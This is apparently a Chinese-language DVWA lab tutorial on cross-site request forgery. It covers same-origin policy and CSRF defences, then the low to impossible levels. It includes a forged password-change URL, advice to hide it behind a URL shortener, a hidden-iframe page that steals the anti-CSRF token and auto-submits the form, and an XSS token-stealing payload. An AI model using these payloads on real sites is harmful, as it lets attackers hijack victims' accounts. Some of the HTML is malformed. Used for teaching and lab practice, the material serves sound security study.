参考:https://juejin.cn/post/7008171429845811207
一、概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"onclick"攻击。
二、知识点
同源策略:指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。同源策略/SOP(Same origin policy)是一种约定,由 Netscape 公司 1995 年引入浏览器,它是浏览器最核心也最基本的安全功能,现在所有支持 JavaScript 的浏览器都会使用这个策略。如果缺少了同源策略,浏览器很容易受到 XSS、 CSFR 等攻击。
{1} 比如一个web应用,用户访问的页面,处理页面的请求的controller都是在同一个contextPath下的,无论在页面上请求AController还是BController,页面、A、B都是同源的,所处的空间位于同一个contextPath下。
{2} 同源策略是为了安全,确保一个应用中的资源只能被本应用的资源访问。否则,岂不是谁都能访问。
所谓同源简单来说就是“三个相同”,
**
1、域名相同
2、协议相同
3、端口相同
参考:http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html
三、攻击常见方式
通过document.domain实现跨域访问
由于JavaScript同源策略的限制,脚本只能读取和所属文档来源相同的窗口和文档的属性。
对于已经有成熟产品体系的公司来说,不同的页面可能放在不同的服务器上,这些服务器域名不同,但是拥有相同的上级域名,比如id.qq.com、www.qq.com、user.qzone.qq.com,它们都有公共的上级域名qq.com。这些服务器上的页面之间的跨域访问可以通过document.domain来进行。
默认情况下,document.domain存放的是载入文档的服务器的主机名,可以手动设置这个属性,不过是有限制的,只能设置成当前域名或者上级的域名,并且必须要包含一个.号,也就是说不能直接设置成顶级域名。例如:id.qq.com,可以设置成qq.com,但是不能设置成com。
具有相同document.domain的页面,就相当于是处在同域名的服务器上,如果协议和端口号也是一致,那它们之间就可以跨域访问数据。
理论上XSS难度较高:需要手工编写脚本代码、注入到网站中去(可通过页面校验,代码则无法插入)
CSRF只需在页面上包含面向服务器的请求 (第三方网站直接植入恶意代码,更加灵活)
判断:是否可获取到明文的cookie、是否需要注入代码(XSS)
是否有第三方网页的角色(CSRF)
四、CSRF的防御
1、验证 HTTP Referer 字段;
2、在请求地址中添加 token 并验证;
3、在 HTTP 头中自定义属性并验证。
low低级
检查逻辑代码
服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。
输入新的密码之后就会在地址栏出现相应的链接(是get型所以提交的参数会显示),并提示密码修改成功:
修改密码后的链接是:
http://localhost/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
然后在没有退出原本的登录的情况下,新打开的页面地址栏修改链接的密码为passwd(原本为password)并回车,新页面会显示密码修改成功,此时退出登录后重新登录会发现登录密码变为新的password而旧密码无法登陆:
假如,用户登录了淘宝,在没有退出淘宝(或身份认证信息还未过期时)打开了新的(hack设计好的修改淘宝登录密码的链接),就会把淘宝的密码改了)就可以为所欲为了!!
咱们再骚操作一番,将带有修改密码链接包装成其他不显眼的链接那不就瞒天过海
在线短链生成器:https://wsc.fit/#mdui-dialog
或者再制作一个带有诱惑性的链接且不更 为所欲为
结合XSS存储型漏洞:
还可以结合存储型XSS漏洞进行攻击,将CSRF代码写入XSS注入点中,如下:
此时,用户一旦访问该站点,就会在不知不觉中执行我们的恶意代码,被修改密码,这种方式同样是更加具有隐蔽性,不会出现密码修改界面。(可以参考:【XSS漏洞】通过XSS实现网页挂马)
这就是没有进行任何代码保护,很可能导致web安全事件的漏洞。
medium中级
查看源码
函数知识
1)int eregi(string pattern, string string)——检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
2)stripos函数:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
3)$_SERVER['HTTP_REFERER'] #链接到当前页面的前一页面的 URL 地址。
4)$_SERVER['SERVER_NAME'] #当前运行脚本所在服务器主机的名称。
I)host头是指定要请求的资源的IP(或者域名)+端口号。没有端口号则是默认的。
II)referer头是告诉服务器从哪里来的,包括协议、域名、端口、路径和参数。(同源策略!)
所以这里验证的是前一页的地址中有没有要访问的域名,所以需要把访问的文件
名字改成是host的name(IP(或者域名))。
III)也就是refer中必须包含主机名(host),即把前面的攻击页面命名为 IP地址.html(页面被放置在攻击者的服务器中)
咱们通过bp抓包检查多了reffer请求一项
可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。
漏洞利用:
(发现源码里多了一个这样的对比: if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )是匹配主机名字的,如果主机名与发起请求的名字一样的时候,就可以完成改密码的攻击,那么我们可以构造这样的一个HTML 用户A的主机IP地址为localhost(hack服务器/主机)。index.html 这个网页需要放在攻击者的服务器中,内容如下:
high高级
查看源代码
High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击。
当我们正常修改密码时,url上显示了一段带有随机的token
每次刷新都会获取到来自服务器的动态token,优先检测token服务器才执行修改密码的请求
检查页面源码找到token在input标签里边
《 不过这里有一个漏洞,就是token存在了前端代码中,这又给了我们窃取token的机会。 》
漏洞利用
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
<script type="text/javascript">
function attack(){
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://172.16.134.26/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body οnlοad="attack()">
<form method="GET" id="transfer" action="" target="_blank">http://172.16.134.26/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://172.16.134.26/dvwa/vulnerabilities/csrf,位于服务器172.16.134.26上,而我们的攻击页面位于黑客服务器172.16.135.47上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器172.16.134.26中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
输入 <iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)> ,点击submit,成功弹出token
Impossible高难度
查看源代码
Impossible难度加入了原密码的校验,在不知道原密码的情况下无法对密码进行修改,这样是比较安全的。